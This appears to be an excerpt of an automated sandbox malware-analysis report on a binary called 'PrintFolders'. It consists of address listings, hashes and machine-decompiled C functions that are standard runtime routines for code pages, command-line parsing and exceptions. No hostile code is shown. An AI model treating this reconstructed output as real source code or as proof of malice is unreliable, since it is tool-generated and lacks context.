                                                          0x00403b65
                                                          0x00403b68
                                                          0x00403b6d
                                                          0x00403b6f
                                                          0x00403b73
                                                          0x00403b74
                                                          0x00403b78
                                                          0x00403b7e
                                                          0x00403b80
                                                          0x00403b8a
                                                          0x00403b8d
                                                          0x00403b95
                                                          0x00403b98
                                                          0x00403b9b
                                                          0x00403ba2
                                                          0x00403ba7
                                                          0x00403bb3
                                                          0x00403bdc
                                                          0x00403be8
                                                          0x00403bb5
                                                          0x00403bbb
                                                          0x00403bc6
                                                          0x00403bca
                                                          0x00403bce
                                                          0x00403bce
                                                          0x00403bb3
                                                          0x00403bf8
                                                          0x00403bfb
                                                          0x00403c06
                                                          0x00403c09
                                                          0x00403c10
                                                          0x00403c15
                                                          0x00403c18
                                                          0x00403c19
                                                          0x00403c1c
                                                          0x00403c43
                                                          0x00403c47
                                                          0x00403c4a
                                                          0x00403c4e
                                                          0x00403c1e
                                                          0x00403c25
                                                          0x00403c2b
                                                          0x00403c2f
                                                          0x00403c31
                                                          0x00403c32
                                                          0x00403c37
                                                          0x00403c3a
                                                          0x00403c3d
                                                          0x00403c3d
                                                          0x00403c53
                                                          0x00403c59
                                                          0x00403c87
                                                          0x00403c87
                                                          0x00403c8e
                                                          0x00403c94
                                                          0x00403c99
                                                          0x00403c9e
                                                          0x00403ca5
                                                          0x00403ca9
                                                          0x00403cae
                                                          0x00403cb2
                                                          0x00403cb5
                                                          0x00403cbf
                                                          0x00403cca
                                                          0x00403ccf
                                                          0x00403cd2
                                                          0x00403cd6
                                                          0x00403cdb
                                                          0x00403cde
                                                          0x00403ce1
                                                          0x00403cea
                                                          0x00403d14
                                                          0x00403d1c
                                                          0x00403d22
                                                          0x00403d25
                                                          0x00403d2b
                                                          0x00403d33
                                                          0x00403d34
                                                          0x00403d45
                                                          0x00403cec
                                                          0x00403cec
                                                          0x00403cef
                                                          0x00403cf0
                                                          0x00403cf8
                                                          0x00403d0a
                                                          0x00403d0a
                                                          0x00403d0c
                                                          0x00000000
                                                          0x00403cfa
                                                          0x00403cfa
                                                          0x00403cfd
                                                          0x00403d08
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00403d08
                                                          0x00403cf8
                                                          0x00403c5b
                                                          0x00403c5b
                                                          0x00403c5e
                                                          0x00403c5f
                                                          0x00403c67
                                                          0x00403c7d
                                                          0x00403c7d
                                                          0x00403c7f
                                                          0x00403c84
                                                          0x00000000
                                                          0x00403c69
                                                          0x00403c69
                                                          0x00403c6c
                                                          0x00403c77
                                                          0x00403d48
                                                          0x00403d4d
                                                          0x00403d4d
                                                          0x00403d52
                                                          0x00403d53
                                                          0x00403d54
                                                          0x00403d55
                                                          0x00403d56
                                                          0x00403d57
                                                          0x00403d58
                                                          0x00403d59
                                                          0x00403d5a
                                                          0x00403d5b
                                                          0x00403d5c
                                                          0x00403d5d
                                                          0x00403d5e
                                                          0x00403d5f
                                                          0x00403d60
                                                          0x00403d63
                                                          0x00403d64
                                                          0x00403d69
                                                          0x00403d70
                                                          0x00403d78
                                                          0x00403d7c
                                                          0x00403d7e
                                                          0x00403d81
                                                          0x00403d86
                                                          0x00403d8d
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00403c77
                                                          0x00403c67

                                                          APIs
                                                          • ___std_exception_copy.LIBVCRUNTIME ref: 00403CD6
                                                          • ___std_exception_destroy.LIBVCRUNTIME ref: 00403D70
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: ___std_exception_copy___std_exception_destroy
                                                          • String ID: `=@
                                                          • API String ID: 2970364248-2879527708
                                                          • Opcode ID: 020cfde67c81afc4d71945b4c587ce0ffd10af12ed6690544abac246daa8197c
                                                          • Instruction ID: 13c42e399c2991b93d131e87cfc8b99e3a8f7b3fd8cb1136b6e867019d48ab5a
                                                          • Opcode Fuzzy Hash: 020cfde67c81afc4d71945b4c587ce0ffd10af12ed6690544abac246daa8197c
                                                          • Instruction Fuzzy Hash: 1A718271A002589BDB04CF99C881BDDFBB5EF49314F14822EE805B7385D779AA44CBA9
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          APIs
                                                          • __startOneArgErrorHandling.LIBCMT ref: 00419AED
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: ErrorHandling__start
                                                          • String ID: pow
                                                          • API String ID: 3213639722-2276729525
                                                          • Opcode ID: a582e46973c46f5eef58ff1d0f172840d36d42b9c83d8389a540df618c71c77d
                                                          • Instruction ID: 71e70a3d575cb920f3d1b965d95ae51b65b63d53711f17dc4a41893a615c4c2c
                                                          • Opcode Fuzzy Hash: a582e46973c46f5eef58ff1d0f172840d36d42b9c83d8389a540df618c71c77d
                                                          • Instruction Fuzzy Hash: 62517D71B0810195CB12BF14F9613AB77B0EB40B52F7448ABE4C5423A9EA3C8ED59A4E
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 92%
                                                          			E004248DE(void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
                                                          				signed int _v8;
                                                          				char _v22;
                                                          				char _v28;
                                                          				signed int _v32;
                                                          				signed int _v36;
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				signed int _t51;
                                                          				signed int _t55;
                                                          				int _t57;
                                                          				signed int _t60;
                                                          				signed int _t61;
                                                          				short _t64;
                                                          				signed char _t66;
                                                          				signed int _t67;
                                                          				signed char* _t75;
                                                          				signed char* _t76;
                                                          				int _t78;
                                                          				signed int _t83;
                                                          				signed char* _t84;
                                                          				short* _t85;
                                                          				signed int _t86;
                                                          				signed char _t87;
                                                          				signed int _t88;
                                                          				void* _t89;
                                                          				signed int _t90;
                                                          				signed int _t91;
                                                          				short _t92;
                                                          				signed int _t93;
                                                          				intOrPtr _t95;
                                                          				signed int _t96;
                                                          
                                                          				_t89 = __edx;
                                                          				_t51 =  *0x43d054; // 0x6e36c9b5
                                                          				_v8 = _t51 ^ _t96;
                                                          				_t95 = _a8;
                                                          				_t78 = E00424479(__eflags, _a4);
                                                          				if(_t78 == 0) {
                                                          					L36:
                                                          					E004244EA(_t95);
                                                          					goto L37;
                                                          				} else {
                                                          					_t92 = 0;
                                                          					_t83 = 0;
                                                          					_t57 = 0;
                                                          					_v32 = 0;
                                                          					while( *((intOrPtr*)(_t57 + 0x43d9a0)) != _t78) {
                                                          						_t83 = _t83 + 1;
                                                          						_t57 = _t57 + 0x30;
                                                          						_v32 = _t83;
                                                          						if(_t57 < 0xf0) {
                                                          							continue;
                                                          						} else {
                                                          							if(_t78 == 0xfde8) {
                                                          								L22:
                                                          								_t55 = _t57 | 0xffffffff;
                                                          							} else {
                                                          								_t57 = IsValidCodePage(_t78 & 0x0000ffff);
                                                          								if(_t57 == 0) {
                                                          									goto L22;
                                                          								} else {
                                                          									if(_t78 != 0xfde9) {
                                                          										_t13 =  &_v28; // 0x424731
                                                          										_t57 = GetCPInfo(_t78, _t13);
                                                          										__eflags = _t57;
                                                          										if(_t57 == 0) {
                                                          											__eflags =  *0x450cc0 - _t92; // 0x0
                                                          											if(__eflags != 0) {
                                                          												goto L36;
                                                          											} else {
                                                          												goto L22;
                                                          											}
                                                          										} else {
                                                          											_t14 = _t95 + 0x18; // 0x18
                                                          											E00410B00(_t92, _t14, _t92, 0x101);
                                                          											 *(_t95 + 4) = _t78;
                                                          											__eflags = _v28 - 2;
                                                          											 *((intOrPtr*)(_t95 + 0x21c)) = _t92;
                                                          											if(_v28 == 2) {
                                                          												__eflags = _v22;
                                                          												_t75 =  &_v22;
                                                          												if(_v22 != 0) {
                                                          													while(1) {
                                                          														_t87 = _t75[1];
                                                          														__eflags = _t87;
                                                          														if(_t87 == 0) {
                                                          															goto L18;
                                                          														}
                                                          														_t90 = _t87 & 0x000000ff;
                                                          														_t88 =  *_t75 & 0x000000ff;
                                                          														while(1) {
                                                          															__eflags = _t88 - _t90;
                                                          															if(_t88 > _t90) {
                                                          																break;
                                                          															}
                                                          															 *(_t95 + _t88 + 0x19) =  *(_t95 + _t88 + 0x19) | 0x00000004;
                                                          															_t88 = _t88 + 1;
                                                          															__eflags = _t88;
                                                          														}
                                                          														_t75 =  &(_t75[2]);
                                                          														__eflags =  *_t75;
                                                          														if( *_t75 != 0) {
                                                          															continue;
                                                          														}
                                                          														goto L18;
                                                          													}
                                                          												}
                                                          												L18:
                                                          												_t25 = _t95 + 0x1a; // 0x1a
                                                          												_t76 = _t25;
                                                          												_t86 = 0xfe;
                                                          												do {
                                                          													 *_t76 =  *_t76 | 0x00000008;
                                                          													_t76 =  &(_t76[1]);
                                                          													_t86 = _t86 - 1;
                                                          													__eflags = _t86;
                                                          												} while (_t86 != 0);
                                                          												 *((intOrPtr*)(_t95 + 0x21c)) = E0042443B( *(_t95 + 4));
                                                          												_t92 = 1;
                                                          											}
                                                          											goto L8;
                                                          										}
                                                          									} else {
                                                          										 *(_t95 + 4) = 0xfde9;
                                                          										 *((intOrPtr*)(_t95 + 0x21c)) = _t92;
                                                          										 *((intOrPtr*)(_t95 + 0x18)) = _t92;
                                                          										 *((short*)(_t95 + 0x1c)) = _t92;
                                                          										L8:
                                                          										 *((intOrPtr*)(_t95 + 8)) = _t92;
                                                          										_t12 = _t95 + 0xc; // 0xc
                                                          										_t92 = _t12;
                                                          										asm("stosd");
                                                          										asm("stosd");
                                                          										asm("stosd");
                                                          										L9:
                                                          										E0042454F(_t90, _t95);
                                                          										L37:
                                                          										_t55 = 0;
                                                          									}
                                                          								}
                                                          							}
                                                          						}
                                                          						goto L38;
                                                          					}
                                                          					_t28 = _t95 + 0x18; // 0x18
                                                          					E00410B00(_t92, _t28, _t92, 0x101);
                                                          					_t60 = _v32 * 0x30;
                                                          					__eflags = _t60;
                                                          					_v36 = _t60;
                                                          					_t61 = _t60 + 0x43d9b0;
                                                          					_v32 = _t61;
                                                          					do {
                                                          						__eflags =  *_t61;
                                                          						_t84 = _t61;
                                                          						if( *_t61 != 0) {
                                                          							while(1) {
                                                          								_t66 = _t84[1];
                                                          								__eflags = _t66;
                                                          								if(_t66 == 0) {
                                                          									break;
                                                          								}
                                                          								_t91 =  *_t84 & 0x000000ff;
                                                          								_t67 = _t66 & 0x000000ff;
                                                          								while(1) {
                                                          									__eflags = _t91 - _t67;
                                                          									if(_t91 > _t67) {
                                                          										break;
                                                          									}
                                                          									__eflags = _t91 - 0x100;
                                                          									if(_t91 < 0x100) {
                                                          										_t34 = _t92 + 0x43d998; // 0x8040201
                                                          										 *(_t95 + _t91 + 0x19) =  *(_t95 + _t91 + 0x19) |  *_t34;
                                                          										_t91 = _t91 + 1;
                                                          										__eflags = _t91;
                                                          										_t67 = _t84[1] & 0x000000ff;
                                                          										continue;
                                                          									}
                                                          									break;
                                                          								}
                                                          								_t84 =  &(_t84[2]);
                                                          								__eflags =  *_t84;
                                                          								if( *_t84 != 0) {
                                                          									continue;
                                                          								}
                                                          								break;
                                                          							}
                                                          							_t61 = _v32;
                                                          						}
                                                          						_t92 = _t92 + 1;
                                                          						_t61 = _t61 + 8;
                                                          						_v32 = _t61;
                                                          						__eflags = _t92 - 4;
                                                          					} while (_t92 < 4);
                                                          					 *(_t95 + 4) = _t78;
                                                          					 *((intOrPtr*)(_t95 + 8)) = 1;
                                                          					 *((intOrPtr*)(_t95 + 0x21c)) = E0042443B(_t78);
                                                          					_t46 = _t95 + 0xc; // 0xc
                                                          					_t85 = _t46;
                                                          					_t90 = _v36 + 0x43d9a4;
                                                          					_t93 = 6;
                                                          					do {
                                                          						_t64 =  *_t90;
                                                          						_t90 = _t90 + 2;
                                                          						 *_t85 = _t64;
                                                          						_t85 = _t85 + 2;
                                                          						_t93 = _t93 - 1;
                                                          						__eflags = _t93;
                                                          					} while (_t93 != 0);
                                                          					goto L9;
                                                          				}
                                                          				L38:
                                                          				return E0040EBBF(_t55, _t78, _v8 ^ _t96, _t89, _t92, _t95);
                                                          			}



































                                                          0x004248de
                                                          0x004248e6
                                                          0x004248ed
                                                          0x004248f2
                                                          0x004248fe
                                                          0x00424903
                                                          0x00424ab9
                                                          0x00424aba
                                                          0x00000000
                                                          0x00424909
                                                          0x00424909
                                                          0x0042490b
                                                          0x0042490d
                                                          0x0042490f
                                                          0x00424912
                                                          0x0042491e
                                                          0x0042491f
                                                          0x00424922
                                                          0x0042492a
                                                          0x00000000
                                                          0x0042492c
                                                          0x00424932
                                                          0x00424a09
                                                          0x00424a09
                                                          0x00424938
                                                          0x0042493c
                                                          0x00424944
                                                          0x00000000
                                                          0x0042494a
                                                          0x00424951
                                                          0x00424979
                                                          0x0042497e
                                                          0x00424984
                                                          0x00424986
                                                          0x004249fd
                                                          0x00424a03
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00424988
                                                          0x0042498d
                                                          0x00424992
                                                          0x0042499a
                                                          0x0042499d
                                                          0x004249a1
                                                          0x004249a7
                                                          0x004249a9
                                                          0x004249ad
                                                          0x004249b0
                                                          0x004249b2
                                                          0x004249b2
                                                          0x004249b5
                                                          0x004249b7
                                                          0x00000000
                                                          0x00000000
                                                          0x004249b9
                                                          0x004249bc
                                                          0x004249c7
                                                          0x004249c7
                                                          0x004249c9
                                                          0x00000000
                                                          0x00000000
                                                          0x004249c1
                                                          0x004249c6
                                                          0x004249c6
                                                          0x004249c6
                                                          0x004249cb
                                                          0x004249ce
                                                          0x004249d1
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004249d1
                                                          0x004249b2
                                                          0x004249d3
                                                          0x004249d3
                                                          0x004249d3
                                                          0x004249d6
                                                          0x004249db
                                                          0x004249db
                                                          0x004249de
                                                          0x004249df
                                                          0x004249df
                                                          0x004249df
                                                          0x004249ee
                                                          0x004249f7
                                                          0x004249f7
                                                          0x00000000
                                                          0x004249a7
                                                          0x00424953
                                                          0x00424953
                                                          0x00424956
                                                          0x0042495c
                                                          0x0042495f
                                                          0x00424963
                                                          0x00424963
                                                          0x00424968
                                                          0x00424968
                                                          0x0042496b
                                                          0x0042496c
                                                          0x0042496d
                                                          0x0042496e
                                                          0x0042496f
                                                          0x00424abf
                                                          0x00424abf
                                                          0x00424ac1
                                                          0x00424951
                                                          0x00424944
                                                          0x00424932
                                                          0x00000000
                                                          0x0042492a
                                                          0x00424a16
                                                          0x00424a1b
                                                          0x00424a23
                                                          0x00424a23
                                                          0x00424a27
                                                          0x00424a2a
                                                          0x00424a30
                                                          0x00424a33
                                                          0x00424a33
                                                          0x00424a36
                                                          0x00424a38
                                                          0x00424a3a
                                                          0x00424a3a
                                                          0x00424a3d
                                                          0x00424a3f
                                                          0x00000000
                                                          0x00000000
                                                          0x00424a41
                                                          0x00424a44
                                                          0x00424a60
                                                          0x00424a60
                                                          0x00424a62
                                                          0x00000000
                                                          0x00000000
                                                          0x00424a49
                                                          0x00424a4f
                                                          0x00424a51
                                                          0x00424a57
                                                          0x00424a5b
                                                          0x00424a5b
                                                          0x00424a5c
                                                          0x00000000
                                                          0x00424a5c
                                                          0x00000000
                                                          0x00424a4f
                                                          0x00424a64
                                                          0x00424a67
                                                          0x00424a6a
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00424a6a
                                                          0x00424a6c
                                                          0x00424a6c
                                                          0x00424a6f
                                                          0x00424a70
                                                          0x00424a73
                                                          0x00424a76
                                                          0x00424a76
                                                          0x00424a7c
                                                          0x00424a7f
                                                          0x00424a8e
                                                          0x00424a97
                                                          0x00424a97
                                                          0x00424a9c
                                                          0x00424aa2
                                                          0x00424aa3
                                                          0x00424aa3
                                                          0x00424aa6
                                                          0x00424aa9
                                                          0x00424aac
                                                          0x00424aaf
                                                          0x00424aaf
                                                          0x00424aaf
                                                          0x00000000
                                                          0x00424ab4
                                                          0x00424ac2
                                                          0x00424ad0

                                                          APIs
                                                            • Part of subcall function 00424479: GetOEMCP.KERNEL32(00000000,004246EA,00000000,00418194,?,?,00418194,?,00000000), ref: 004244A4
                                                          • IsValidCodePage.KERNEL32(-00000030,00000000,51F44589,?,?,?,00424731,?,00000000,00000000,?,?), ref: 0042493C
                                                          • GetCPInfo.KERNEL32(00000000,1GB,?,?,00424731,?,00000000,00000000,?,?,?,?,?,?,00418194,?), ref: 0042497E
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: CodeInfoPageValid
                                                          • String ID: 1GB
                                                          • API String ID: 546120528-4244811723
                                                          • Opcode ID: aee94ae5ee01cc59593c3c75f0455c1e87f97389cb9c7ba2e998998210576ad8
                                                          • Instruction ID: aacb25a9507ad1c205b6f49fc7500e8a924766a2b9ce2c8cd014c0b8cff2f0c3
                                                          • Opcode Fuzzy Hash: aee94ae5ee01cc59593c3c75f0455c1e87f97389cb9c7ba2e998998210576ad8
                                                          • Instruction Fuzzy Hash: F55125B0B002648EDB21DF76E4407BBBBE4EFD1304F94406FD08687251D7789582CB49
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 96%
                                                          			E0042454F(signed int __edx, char _a4) {
                                                          				signed int _v8;
                                                          				char _v264;
                                                          				char _v520;
                                                          				char _v776;
                                                          				char _v1800;
                                                          				char _v1814;
                                                          				struct _cpinfo _v1820;
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				signed int _t60;
                                                          				signed int _t63;
                                                          				char _t68;
                                                          				signed char _t69;
                                                          				signed int _t70;
                                                          				signed int _t80;
                                                          				signed int _t81;
                                                          				char _t82;
                                                          				signed int _t85;
                                                          				signed char _t86;
                                                          				signed int _t87;
                                                          				signed int _t88;
                                                          				void* _t89;
                                                          				intOrPtr _t90;
                                                          				signed int _t91;
                                                          
                                                          				_t88 = __edx;
                                                          				_t60 =  *0x43d054; // 0x6e36c9b5
                                                          				_v8 = _t60 ^ _t91;
                                                          				_t2 =  &_a4; // 0x424974
                                                          				_t90 =  *_t2;
                                                          				if( *(_t90 + 4) == 0xfde9 || GetCPInfo( *(_t90 + 4),  &_v1820) == 0) {
                                                          					_t81 = 0;
                                                          					__eflags = 0;
                                                          					_t89 = 0x100;
                                                          					_t82 = 0;
                                                          					do {
                                                          						_t46 = _t82 - 0x61; // -97
                                                          						_t88 = _t46;
                                                          						_t47 = _t88 + 0x20; // -65
                                                          						__eflags = _t47 - 0x19;
                                                          						if(_t47 > 0x19) {
                                                          							__eflags = _t88 - 0x19;
                                                          							if(_t88 > 0x19) {
                                                          								_t63 = _t81;
                                                          							} else {
                                                          								 *(_t90 + _t82 + 0x19) =  *(_t90 + _t82 + 0x19) | 0x00000020;
                                                          								_t56 = _t82 - 0x20; // -32
                                                          								_t63 = _t56;
                                                          							}
                                                          						} else {
                                                          							 *(_t90 + _t82 + 0x19) =  *(_t90 + _t82 + 0x19) | 0x00000010;
                                                          							_t52 = _t82 + 0x20; // 0x20
                                                          							_t63 = _t52;
                                                          						}
                                                          						 *(_t90 + _t82 + 0x119) = _t63;
                                                          						_t82 = _t82 + 1;
                                                          						__eflags = _t82 - _t89;
                                                          					} while (_t82 < _t89);
                                                          					goto L26;
                                                          				} else {
                                                          					_t81 = 0;
                                                          					_t89 = 0x100;
                                                          					_t68 = 0;
                                                          					do {
                                                          						 *((char*)(_t91 + _t68 - 0x104)) = _t68;
                                                          						_t68 = _t68 + 1;
                                                          					} while (_t68 < 0x100);
                                                          					_t69 = _v1814;
                                                          					_t85 =  &_v1814;
                                                          					_v264 = 0x20;
                                                          					while(1) {
                                                          						_t99 = _t69;
                                                          						if(_t69 == 0) {
                                                          							break;
                                                          						}
                                                          						_t88 =  *(_t85 + 1) & 0x000000ff;
                                                          						_t70 = _t69 & 0x000000ff;
                                                          						while(1) {
                                                          							__eflags = _t70 - _t88;
                                                          							if(_t70 > _t88) {
                                                          								break;
                                                          							}
                                                          							__eflags = _t70 - _t89;
                                                          							if(_t70 >= _t89) {
                                                          								break;
                                                          							}
                                                          							 *((char*)(_t91 + _t70 - 0x104)) = 0x20;
                                                          							_t70 = _t70 + 1;
                                                          							__eflags = _t70;
                                                          						}
                                                          						_t85 = _t85 + 2;
                                                          						__eflags = _t85;
                                                          						_t69 =  *_t85;
                                                          					}
                                                          					E00421875(_t99, _t81, 1,  &_v264, _t89,  &_v1800,  *(_t90 + 4), _t81);
                                                          					E004213EC(_t99, _t81,  *((intOrPtr*)(_t90 + 0x21c)), _t89,  &_v264, _t89,  &_v520, _t89,  *(_t90 + 4), _t81);
                                                          					E004213EC(_t99, _t81,  *((intOrPtr*)(_t90 + 0x21c)), 0x200,  &_v264, _t89,  &_v776, _t89,  *(_t90 + 4), _t81);
                                                          					_t80 = _t81;
                                                          					do {
                                                          						_t86 =  *(_t91 + _t80 * 2 - 0x704) & 0x0000ffff;
                                                          						if((_t86 & 0x00000001) == 0) {
                                                          							__eflags = _t86 & 0x00000002;
                                                          							if((_t86 & 0x00000002) == 0) {
                                                          								_t87 = _t81;
                                                          							} else {
                                                          								 *(_t90 + _t80 + 0x19) =  *(_t90 + _t80 + 0x19) | 0x00000020;
                                                          								_t87 =  *((intOrPtr*)(_t91 + _t80 - 0x304));
                                                          							}
                                                          						} else {
                                                          							 *(_t90 + _t80 + 0x19) =  *(_t90 + _t80 + 0x19) | 0x00000010;
                                                          							_t87 =  *((intOrPtr*)(_t91 + _t80 - 0x204));
                                                          						}
                                                          						 *(_t90 + _t80 + 0x119) = _t87;
                                                          						_t80 = _t80 + 1;
                                                          					} while (_t80 < _t89);
                                                          					L26:
                                                          					return E0040EBBF(_t63, _t81, _v8 ^ _t91, _t88, _t89, _t90);
                                                          				}
                                                          			}




























                                                          0x0042454f
                                                          0x0042455a
                                                          0x00424561
                                                          0x00424566
                                                          0x00424566
                                                          0x00424571
                                                          0x00424683
                                                          0x00424683
                                                          0x00424685
                                                          0x0042468a
                                                          0x0042468c
                                                          0x0042468c
                                                          0x0042468c
                                                          0x0042468f
                                                          0x00424692
                                                          0x00424695
                                                          0x004246a1
                                                          0x004246a4
                                                          0x004246b2
                                                          0x004246a6
                                                          0x004246a9
                                                          0x004246ad
                                                          0x004246ad
                                                          0x004246ad
                                                          0x00424697
                                                          0x00424697
                                                          0x0042469c
                                                          0x0042469c
                                                          0x0042469c
                                                          0x004246b4
                                                          0x004246bb
                                                          0x004246bc
                                                          0x004246bc
                                                          0x00000000
                                                          0x0042458f
                                                          0x0042458f
                                                          0x00424591
                                                          0x00424596
                                                          0x00424598
                                                          0x00424598
                                                          0x0042459f
                                                          0x004245a0
                                                          0x004245a4
                                                          0x004245aa
                                                          0x004245b0
                                                          0x004245d8
                                                          0x004245d8
                                                          0x004245da
                                                          0x00000000
                                                          0x00000000
                                                          0x004245b9
                                                          0x004245bd
                                                          0x004245cf
                                                          0x004245cf
                                                          0x004245d1
                                                          0x00000000
                                                          0x00000000
                                                          0x004245c2
                                                          0x004245c4
                                                          0x00000000
                                                          0x00000000
                                                          0x004245c6
                                                          0x004245ce
                                                          0x004245ce
                                                          0x004245ce
                                                          0x004245d3
                                                          0x004245d3
                                                          0x004245d6
                                                          0x004245d6
                                                          0x004245f2
                                                          0x00424613
                                                          0x0042463b
                                                          0x00424643
                                                          0x00424645
                                                          0x00424645
                                                          0x00424650
                                                          0x00424660
                                                          0x00424663
                                                          0x00424673
                                                          0x00424665
                                                          0x00424665
                                                          0x0042466a
                                                          0x0042466a
                                                          0x00424652
                                                          0x00424652
                                                          0x00424657
                                                          0x00424657
                                                          0x00424675
                                                          0x0042467c
                                                          0x0042467d
                                                          0x004246c0
                                                          0x004246ce
                                                          0x004246ce

                                                          APIs
                                                          • GetCPInfo.KERNEL32(0000FDE9,?,0000000C,00000000,00000000), ref: 00424581
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: Info
                                                          • String ID: $tIB
                                                          • API String ID: 1807457897-3257070604
                                                          • Opcode ID: f173a03a340fb3b3c2833dae6a272a5206f12199cae729be784c9ef2206b4439
                                                          • Instruction ID: 4a28d2029068e78a01aac7d99e26ab956f5ac8d9ba36b8a867b1e1f291c49a90
                                                          • Opcode Fuzzy Hash: f173a03a340fb3b3c2833dae6a272a5206f12199cae729be784c9ef2206b4439
                                                          • Instruction Fuzzy Hash: 54418E70704268ABDB218B18DD84BFB77FDDB96308FA404EEE5C687142D27C9A85CB54
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 91%
                                                          			E0041A2ED(void* __edx, intOrPtr _a4) {
                                                          				signed int _v8;
                                                          				void* _v12;
                                                          				char _v16;
                                                          				char* _v20;
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				char* _t26;
                                                          				intOrPtr* _t36;
                                                          				signed int _t37;
                                                          				signed int _t40;
                                                          				char _t42;
                                                          				signed int _t43;
                                                          				intOrPtr* _t44;
                                                          				intOrPtr* _t45;
                                                          				intOrPtr _t48;
                                                          				signed int _t49;
                                                          				signed int _t54;
                                                          				void* _t57;
                                                          				intOrPtr* _t58;
                                                          				signed int _t64;
                                                          				signed int _t66;
                                                          
                                                          				_t57 = __edx;
                                                          				_t48 = _a4;
                                                          				if(_t48 != 0) {
                                                          					__eflags = _t48 - 2;
                                                          					if(_t48 == 2) {
                                                          						L5:
                                                          						E00424883(_t48);
                                                          						E004242CA(_t48, _t57, 0, 0x450790, 0, 0x450790, 0x104);
                                                          						_t26 =  *0x450cd8; // 0x14134e8
                                                          						 *0x450cc8 = 0x450790;
                                                          						_v20 = _t26;
                                                          						__eflags = _t26;
                                                          						if(_t26 == 0) {
                                                          							L7:
                                                          							_t26 = 0x450790;
                                                          							_v20 = 0x450790;
                                                          							L8:
                                                          							_v8 = 0;
                                                          							_v16 = 0;
                                                          							_t64 = E0041A597(E0041A423( &_v8, _t26, 0, 0,  &_v8,  &_v16), _v8, _v16, 1);
                                                          							__eflags = _t64;
                                                          							if(__eflags != 0) {
                                                          								E0041A423( &_v8, _v20, _t64, _t64 + _v8 * 4,  &_v8,  &_v16);
                                                          								__eflags = _t48 - 1;
                                                          								if(_t48 != 1) {
                                                          									_v12 = 0;
                                                          									_push( &_v12);
                                                          									_t49 = E004241F8(_t64, _t64);
                                                          									__eflags = _t49;
                                                          									if(_t49 == 0) {
                                                          										_t58 = _v12;
                                                          										_t54 = 0;
                                                          										_t36 = _t58;
                                                          										__eflags =  *_t58;
                                                          										if( *_t58 == 0) {
                                                          											L17:
                                                          											_t37 = 0;
                                                          											 *0x450ccc = _t54;
                                                          											_v12 = 0;
                                                          											_t49 = 0;
                                                          											 *0x450cd0 = _t58;
                                                          											L18:
                                                          											E0041E2B8(_t37);
                                                          											_v12 = 0;
                                                          											L19:
                                                          											E0041E2B8(_t64);
                                                          											_t40 = _t49;
                                                          											L20:
                                                          											return _t40;
                                                          										} else {
                                                          											goto L16;
                                                          										}
                                                          										do {
                                                          											L16:
                                                          											_t36 = _t36 + 4;
                                                          											_t54 = _t54 + 1;
                                                          											__eflags =  *_t36;
                                                          										} while ( *_t36 != 0);
                                                          										goto L17;
                                                          									}
                                                          									_t37 = _v12;
                                                          									goto L18;
                                                          								}
                                                          								_t42 = _v8 - 1;
                                                          								__eflags = _t42;
                                                          								 *0x450ccc = _t42;
                                                          								_t43 = _t64;
                                                          								_t64 = 0;
                                                          								 *0x450cd0 = _t43;
                                                          								L12:
                                                          								_t49 = 0;
                                                          								goto L19;
                                                          							}
                                                          							_t44 = E004135F1(__eflags);
                                                          							_push(0xc);
                                                          							_pop(0);
                                                          							 *_t44 = 0;
                                                          							goto L12;
                                                          						}
                                                          						__eflags =  *_t26;
                                                          						if( *_t26 != 0) {
                                                          							goto L8;
                                                          						}
                                                          						goto L7;
                                                          					}
                                                          					__eflags = _t48 - 1;
                                                          					if(__eflags == 0) {
                                                          						goto L5;
                                                          					}
                                                          					_t45 = E004135F1(__eflags);
                                                          					_t66 = 0x16;
                                                          					 *_t45 = _t66;
                                                          					E00413517();
                                                          					_t40 = _t66;
                                                          					goto L20;
                                                          				}
                                                          				return 0;
                                                          			}

























                                                          0x0041a2ed
                                                          0x0041a2f6
                                                          0x0041a2fb
                                                          0x0041a305
                                                          0x0041a308
                                                          0x0041a325
                                                          0x0041a326
                                                          0x0041a339
                                                          0x0041a33e
                                                          0x0041a346
